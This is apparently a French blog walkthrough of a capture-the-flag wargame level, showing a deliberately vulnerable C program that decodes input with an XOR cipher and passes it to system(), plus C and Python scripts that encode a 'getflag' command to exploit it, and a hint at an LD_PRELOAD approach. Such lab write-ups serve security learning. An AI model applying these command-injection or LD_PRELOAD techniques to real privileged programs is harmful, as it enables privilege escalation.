Bonjour,
Voici le niveau 11
donc voici ce que l'on nous donne :
The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both :-)
To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11.
À la différence
des autres niveaux ici on nous encourage à faire ce niveau avec les
2 possibilités donc nous allons faire ce qu'ils nous demandent ! Voici la source :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } } |
Donc dans un premier
temps on peut voir que le programme sera assez basique ici une simple
série de test pour (si ceux-ci n'ont pas fail) utiliser la fonction
system sur le buffer utilisé dans la fonction process. La commande
envoyé dans le buffer va passer par un algorithme basique appelé
simplement `Stream cipher` (généralement utilisé dans l’encryption de flux de donné) avec un petit xor. Ce sera utile pour la
suite. Voici un test basique pour voir que le programme fonctionne
bien :
La première manière
de faire ici sera de prendre ce petit programme et de rechercher
l'algorithme
utilisé pour encrypter notre string à l'envers de l’algorithme
donné. Il se situe simplement avant le lancement de la fonction
system :
key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; }
Donc on va devoir
connaître la taille de notre commande ainsi que la commande en elle
même jusque là on aura pas de soucis. On doit faire en sorte que la
commande ne de dépasse pas 1024 bytes ici sinon le checking de fread
va nous empêcher d'avancer. La commande au passage ne doit pas se
terminer par un caractère nul comme normalement. Donc on va dans un
premier temps encoder notre commande et simplement l'afficher dans un
programme basique. Je vais coder un exemple en C et un autre en
python mais le résultat sera identique dans tout les cas :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | #include <stdlib.h> #include <stdio.h> #include <string.h> void process(char *buff, int length){ unsigned int key; int i; i = 0; key = length & 0xff; while (i < length) { buff[i] ^= key; key -= buff[i] ^ key; i++; } } int main(void){ char buffer[1024]; strncpy(buffer, "getflag", 1024); process(buffer, 1024); puts("Content-Length: 1024"); fwrite(buffer, 1, 1024, stdout); return 0; } |
Voici donc le second
code en python :
1 2 3 4 5 6 7 8 9 10 11 12 13 | #!/usr/bin/env python cmd = "getflag\x00" size= 1024 key = size & 0xff encrypted = "" for i in range(len(cmd)): enc = (ord(cmd[i]) ^ key) & 0xff; encrypted += chr(enc) key = (key - ord(cmd[i])) & 0xff print "Content-Length: " + str(size) + "\n" + encrypted + "A"*(size - len(encrypted)) |
Voici donc le
résultat la commande est bien exécuté le soucis vient ici
uniquement du programme en lui même puisque lorsque le call de
system est fait il n'y a pas de seting d'uid donc il va logiquement
utilisé celui de lanceur de l'action qui ne sera logiquement pas le
flag ici mais le level il aurait fallut utiliser donc les fonctions
setresuid/setresgi
pour
résoudre ce soucis. J'ai set la variable d'environement TEMP vers /tmp pour ne plus avoir le message d'erreur dût au fd créer en mode random.
La seconde façon de
faire sera de jouer simplement avec LD_PRELOAD ainsi que les
fonctions que l'on va pouvoir alors override.. Je vous laisser chercher
à ce niveau ce sera pas bien compliqué !
Aucun commentaire:
Enregistrer un commentaire